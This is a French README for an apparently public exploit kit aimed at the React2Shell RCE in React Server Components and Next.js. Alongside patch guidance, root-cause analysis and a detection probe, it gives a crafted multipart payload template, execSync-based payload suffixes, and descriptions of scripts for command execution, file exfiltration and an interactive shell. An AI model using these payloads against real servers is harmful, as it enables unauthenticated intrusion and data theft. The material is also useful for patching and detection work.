Kit de exploits RCE pour CVE-2025-55182 et CVE-2025-66478 dans les composants serveur React. Comprend plusieurs variantes d'exploits, des scripts de détection, un serveur de test vulnérable et une analyse technique approfondie de la vulnérabilité de désérialisation du protocole Flight.
CVE-2025-55182 (React) et CVE-2025-66478 (Next.js)
Ce dépôt contient du code d'exploit destiné uniquement aux tests de sécurité autorisés et à des fins éducatives.
Voir aussi : Plusieurs chercheurs ont publié des analyses de cette vulnérabilité. Consultez la section Références pour des perspectives supplémentaires, des techniques d'exploitation et des méthodes de détection.
Le mercredi 3 décembre 2025, une vulnérabilité critique d'exécution de code à distance dans les React Server Components a été divulguée publiquement. Ce bug, surnommé « React2Shell », permet à un attaquant non authentifié d'exécuter du code arbitraire sur n'importe quel serveur exécutant des versions vulnérables de React RSC ou du Next.js App Router en envoyant une seule requête HTTP.
Étant donné l'omniprésence de Next.js – il alimente une part importante du web moderne – l'impact de cette vulnérabilité est sévère. Toute application Next.js utilisant l'App Router (par défaut pour les nouveaux projets depuis Next.js 13) avec RSC activé est vulnérable. Pas de configuration particulière. Pas de points d'accès spécifiques. Simplement une requête POST vers n'importe quelle route.
La vulnérabilité réside dans le protocole « Flight » de React, le format de sérialisation utilisé pour transmettre les données entre le serveur et le client dans les React Server Components. L'absence d'une vérification hasOwnProperty lors de la désérialisation permet de parcourir la chaîne de prototypes, pour finalement atteindre le constructeur JavaScript Function et exécuter du code contrôlé par l'attaquant.
La faille existe dans les paquets react-server-dom-webpack, react-server-dom-turbopack et react-server-dom-parcel de React. Next.js, en tant que consommateur principal de RSC, hérite de la vulnérabilité via son App Router.
De nombreux services sont potentiellement vulnérables. Next.js est l'un des frameworks React les plus populaires, utilisé par des entreprises de toutes tailles – des start-ups aux grandes entreprises. L'App Router avec React Server Components est l'architecture par défaut pour les nouveaux projets Next.js depuis la version 13, ce qui signifie que la plupart des déploiements Next.js modernes sont affectés.
Toute application utilisant :
react-server-dom-* vulnérables (19.0.0 - 19.2.0)Cela inclut les déploiements en production sur Vercel, AWS, les infrastructures auto-hébergées et partout ailleurs où les applications Next.js App Router sont exécutées.
Non concernés :
process.mainModule disponible)| Paquet | Vulnérable | Corrigé |
|---|---|---|
react-server-dom-webpack | 19.0.0, 19.1.0, 19.1.1, 19.2.0 | 19.0.1, 19.1.2, 19.2.1+ |
react-server-dom-turbopack | 19.0.0, 19.1.0, 19.1.1, 19.2.0 | 19.0.1, 19.1.2, 19.2.1+ |
react-server-dom-parcel | 19.0.0, 19.1.0, 19.1.1, 19.2.0 | 19.0.1, 19.1.2, 19.2.1+ |
| Ligne de version | Vulnérable | Corrigé |
|---|---|---|
| 15.0.x | < 15.0.5 | 15.0.5+ |
| 15.1.x | < 15.1.9 | 15.1.9+ |
| 15.2.x | < 15.2.6 | 15.2.6+ |
| 15.3.x | < 15.3.6 | 15.3.6+ |
| 15.4.x | < 15.4.8 | 15.4.8+ |
| 15.5.x | < 15.5.7 | 15.5.7+ |
| 16.0.x | < 16.0.7 | 16.0.7+ |
Mettez à jour immédiatement. Il n'existe pas de contournement.
Pour les applications Next.js :
npm install next@latest
# or
pnpm update next
Pour une utilisation directe de React RSC :
npm install react-server-dom-webpack@latest
Vérifiez vos versions installées :
npm ls next react-server-dom-webpack react-server-dom-turbopack
Plusieurs vecteurs d'attaque ont été découverts pour cette vulnérabilité. Le plus courant – et celui qui fonctionne sans aucun prérequis – utilise la pollution de prototype via le système de référence du protocole Flight de React.
L'exploit envoie une requête POST multipart fabriquée avec un en-tête Next-Action. La charge utile abuse du système de référence pour :
$1:__proto__:thenFunctionPOST / HTTP/1.1
Host: target.com
Content-Type: multipart/form-data; boundary=----Boundary
Next-Action: x
------Boundary
Content-Disposition: form-data; name="0"
{"then":"$1:__proto__:then","status":"resolved_model","value":"{...}","_response":{...}}
------Boundary
Content-Disposition: form-data; name="1"
"$@0"
------Boundary--
Le code s'exécute pendant la désérialisation, avant toute validation de l'ID d'action. Cela signifie que n'importe quelle valeur d'en-tête Next-Action déclenche le chemin de code vulnérable – aucun ID d'action valide n'est requis.
D'autres vecteurs d'attaque existent, notamment les références de fonction
$Fet les gadgets de module directs. Ceux-ci nécessitent généralement un ID d'action valide. Voir Vecteurs d'attaque alternatifs pour plus de détails.
Le protocole Flight de React résout les références comme $1:path:to:value en les divisant par les deux-points et en parcourant l'objet :
// ReactFlightReplyServer.js - getOutlinedModel()
for (let i = 1; i < path.length; i++) {
value = value[path[i]]; // Pas de vérification hasOwnProperty !
}
L'ironie : En haut de ce même fichier, ligne 35 :
import hasOwnProperty from 'shared/hasOwnProperty';La garde a été importée. Elle était disponible. Elle n'a simplement pas été utilisée dans la seule boucle où elle comptait le plus.
Ce seul contrôle manquant permet à $1:__proto__:then de parcourir un objet chunk, de remonter la chaîne de prototypes jusqu'à Chunk.prototype.then – une fonction qui traite les objets de type Promise. En fabriquant un faux chunk avec les bonnes propriétés, nous contrôlons quel code est exécuté.
Clonez le serveur de test vulnérable :
git clone https://github.com/freeqaz/react2shell
cd react2shell/vulnerable-next-server
pnpm install
pnpm dev
Dans un autre terminal :
./detect.sh http://localhost:3443
Un serveur vulnérable renvoie HTTP 500 avec E{"digest" dans le corps de la réponse. Pour démontrer l'exécution de code :
./exploit-redirect.sh http://localhost:3443 "id"
La sortie de la commande apparaît dans la réponse. Pour une exploration interactive :
./shell.sh http://localhost:3443
Le répertoire vulnerable-next-server/ contient une application Next.js 16.0.6 + React 19.2.0 préconfigurée pour des tests locaux sécurisés. Elle écoute par défaut sur le port 3443. Il s'agit d'une configuration minimale de l'App Router démontrant que les configurations par défaut sont vulnérables.
Nous avons développé plusieurs variantes d'exploit pour gérer différents scénarios :
| Script | HTTP | Sortie | Production | Remarques |
|---|---|---|---|---|
exploit-redirect.sh | 303 | en-tête x-action-redirect | Oui | Recommandé. Aucun prérequis. |
exploit-throw.sh | 500 | Corps de réponse d'erreur | Non | Mode développement uniquement (erreurs nettoyées en prod). |
exploit-blind.sh | 200 | Côté serveur uniquement | Oui | Fire-and-forget. Utiliser pour l'exfiltration OOB. |
exploit-urlencoded.sh | 303 | en-tête x-action-redirect | Oui | Signature WAF différente. Nécessite un ID d'action. |
exploit-reflect.sh | 200 | Corps de réponse | Oui | Le plus discret. Nécessite un ID d'action. |
Note sur la production : React supprime les messages d'erreur dans les builds de production, ce qui brise la méthode
throw. Seulexploit-redirect.shcapture de manière fiable la sortie des commandes en production sans prérequis. L'URL de redirection est stockée dans la propriétédigestde l'erreur (métadonnées), qui n'est pas nettoyée – contrairement àmessagequi devient{digest: "..."}seulement.
Scripts utilitaires :
detect.sh – Sondage de vulnérabilité non destructif (pas d'exécution de code)enumerate-actions.sh – Découvre les ID de Server Action valides à partir du HTML cibleexfil-file.sh – Exfiltration de fichiers par morceaux (gère automatiquement les gros fichiers)shell.sh – Pseudo-shell interactif via RCELa méthode de redirection est recommandée car elle fonctionne en production, ne nécessite aucun prérequis et renvoie directement la sortie des commandes. Elle fonctionne en levant une erreur NEXT_REDIRECT spécialement construite – la sortie est encodée en base64 dans l'URL de redirection et renvoyée dans l'en-tête x-action-redirect.
Pour une utilisation détaillée de chaque script, voir USAGE.md.
./detect.sh https://target.com
Cette commande envoie une sonde minimale qui déclenche le chemin de code vulnérable sans exécuter de code arbitraire.
Réponse d'un serveur vulnérable :
text/x-componentE{"digest"Serveur corrigé ou sans RSC : Renvoie 404, un format d'erreur différent, ou aucune réponse du protocole Flight.
curl -s -o /dev/null -w "%{http_code}" -X POST https://target.com \
-H "Next-Action: x" \
-H "Content-Type: multipart/form-data; boundary=----Boundary" \
--data-binary $'------Boundary\r\nContent-Disposition: form-data; name="0"\r\n\r\n["$1:a:a"]\r\n------Boundary\r\nContent-Disposition: form-data; name="1"\r\n\r\n{}\r\n------Boundary--'
Cette sonde fait référence à une propriété inexistante sur un objet vide. Les serveurs vulnérables plantent en essayant d'accéder à {}.a.a, renvoyant 500. Les serveurs corrigés ont une garde hasOwnProperty qui empêche le plantage.
Recherchez ces indicateurs :
<script> contenant des données du protocole Flight (0:, 1:, etc.)x-nextjs-cache ou x-nextjs-matched-path/_next/$ACTION_ID_ dans les champs de formulaire cachésLe diagramme suivant illustre comment une seule requête HTTP permet d'exécuter du code à distance :
sequenceDiagram
participant A as Attaquant
participant N as Next.js
participant F as Analyseur Flight
participant JS as Moteur JS
A->>N: POST avec en-tête Next-Action + charge utile malveillante
N->>F: Analyse des données de formulaire multipart
F->>JS: await getRoot - retourne le chunk comme thenable
rect rgb(80, 20, 20)
Note over F,JS: VULNÉRABILITÉ - Pas de vérification hasOwnProperty
JS->>F: chunk.then analyse $1:__proto__:then
F-->>F: Traverse jusqu'à Chunk.prototype.then
end
F->>JS: resolve(attackerObject)
Note over JS: Spécification JS Promise: resolve(thenable)<br/>appelle thenable.then()
JS->>F: fakeChunk.then() avec le _response de l'attaquant
rect rgb(80, 20, 20)
Note over F,JS: EXPLOITATION - L'attaquant contrôle _response
F->>F: $B0 → _formData.get(_prefix + "0")
Note over F: _formData.get = constructeur Function<br/>_prefix = chaîne de code malveillante
F->>JS: Function(code) invoquée comme thenable
end
Note over JS: RCE - execSync() s'exécute
rect rgb(20, 60, 20)
Note over A,JS: EXFILTRATION DE LA SORTIE (méthode de redirection)
JS-->>F: throw NEXT_REDIRECT avec base64(sortie)
F-->>N: L'erreur remonte
N-->>A: HTTP 303 + en-tête x-action-redirect
endLes React Server Components utilisent un format de sérialisation personnalisé appelé « Flight » pour diffuser les arbres de composants du serveur au client. Il utilise des codes de préfixe pour différents types de valeurs :
$1, $2, ... – Références à d'autres chunks par ID$@0 – Référence brute à un objet chunk (renvoie le chunk lui-même, pas sa valeur)$B0 – Référence à un Blob (déclenche _formData.get(_prefix + id))$1:path:to:prop – Parcourt un chemin sur la valeur d'un chunk référencéLa vulnérabilité exploite la combinaison de $@ (référence brute) et des chemins délimités par des deux-points pour accéder à __proto__.
Phase 1 : Traitement de la requête
Next-Action déclenche la gestion des actions RSCawait getRoot(response) renvoie le chunk 0 comme une thenablePhase 2 : Parcours du prototype
then – la spécification JS Promise appelle thenable.then(resolve, reject)$1:__proto__:then se résout en Chunk.prototype.thenthen, status: "resolved_model" et _responsePhase 3 : Exécution de code
resolve(ourObject) déclenche un autre appel then() (spécification JS thenable)Chunk.prototype.then s'exécute en utilisant notre objet _response contrôlé$B0 déclenche _formData.get(_prefix + "0") – les deux sont contrôlés par l'attaquantPhase 4 : Exfiltration de la sortie (optionnelle, méthode de redirection)
NEXT_REDIRECT avec la sortie de la commande encodée en base64x-action-redirect avant la validation de l'URLLa Function construite est appelée comme une thenable : fn(resolve, reject). La façon dont nous la gérons détermine si nous récupérons la sortie :
| Stratégie | Suffixe de la charge utile | Fonctionnement |
|---|---|---|
| Aveugle | execSync('CMD');0 | Exécute mais ne résout jamais – la connexion reste bloquée, pas de sortie |
| Throw | throw execSync('CMD').toString() | Rejette la Promise, sortie dans le corps de l'erreur (mode développement uniquement) |
| Redirection | throw {digest:'NEXT_REDIRECT;...;'+b64(output)} | Abuse de la gestion des redirections Next.js, sortie dans l'en-tête |
| Reflet | arguments[0](https://github.com/freeqaz/react2shell/blob/master/%5BexecSync%28%27CMD%27).toString()]) | Résout la Promise avec la sortie comme argument d'action (nécessite un ID d'action valide) |
Recommandé : Redirection. Fonctionne en production, aucun prérequis, sortie dans l'en-tête x-action-redirect.
L'approche aveugle bloque car la Promise ne se termine jamais – await bloque indéfiniment. Utile pour les scénarios fire-and-forget (reverse shells, exfiltration hors bande via curl).
La vulnérabilité principale a été exploitée via trois classes d'attaque distinctes. Ce dépôt utilise la première approche ; d'autres PoC démontrent les alternatives :
| Classe d'attaque | Mécanisme | ID d'action requis | Exemple de PoC |
|---|---|---|---|
| Pollution de prototype | Parcours $1:__proto__:then vers Chunk.prototype | Non | react2shell, lachlan2k, joe-desimone |
| Référence de fonction $F | $F1 + action#constructor pour atteindre Function | Oui | shellinteractive |
| Gadget de module | Syntaxe module#export (ex. child_process#execSync) | Varie | Recherche ejpir |
Pourquoi la pollution de prototype ne nécessite pas d'ID d'action : L'analyse des formulaires multipart alimente les chunks au désérialiseur Flight immédiatement. L'exécution de code a lieu dans getOutlinedModel() pendant la résolution des références de chunk – avant que Next.js ne valide l'ID d'action. Les requêtes encodées en URL valident l'ID d'action en premier (chemin de code différent à action-handler.ts:768).
Pourquoi la référence $F nécessite un ID d'action : La référence $F déclenche loadServerReference(), qui effectue une recherche dans le manifeste. Si l'action n'existe pas, la requête échoue avant l'exécution du code.
Pour une analyse détaillée de toutes les implémentations de PoC et leurs compromis, voir external-pocs/COMPARISON.md.
React supprime les détails d'erreur dans les builds de production. Cela affecte l'exfiltration basée sur le throw :
Développement :
{"digest":"...","name":"Error","message":"uid=501(free)...","stack":[...]}
Production :
{"digest":"..."}
La méthode de redirection contourne cela car l'URL de redirection est stockée dans la propriété digest, pas dans message. L'en-tête est défini inconditionnellement avant la validation de l'URL, donc même les URL invalides reçoivent l'en-tête.
L'idée clé de l'exploitation – utiliser les références brutes $@ pour créer un faux chunk auto-référent – est attribuée à maple3142. La méthodologie de détection référencée ici provient de Searchlight Cyber / Assetnote.
Divulgations officielles :
Recherche communautaire :
| Auteur | Contribution | Chemin d'attaque | Fonctionnalités notables |
|---|---|---|---|
| lachlan2k | Découvreur original | Pollution de prototype | Chaînage Array.map, structure à 5 chunks, support Waku |
| ejpir | Recherche de gadgets | Tous les chemins | Catalogue de gadgets de module, attaques persistantes, chemin d'URI de données |
| joe-desimone | Outillage Python | Pollution de prototype | Aide au reverse shell, exfiltration par callback, détection de timeout |
| labubusDest / MrR0b0t19 | Shell interactif | Référence de fonction $F | REPL Python, téléchargement/téléversement de fichiers, suite de tests intégrée |
| Searchlight Cyber | Méthodes de détection | — | Méthodologie de détection haute-fidélité, signatures WAF |
Pour une comparaison détaillée de toutes les implémentations de PoC, voir external-pocs/COMPARISON.md.
Contexte :
Le code est sous licence MIT. La documentation (*.md files) est sous licence CC-BY-SA 4.0.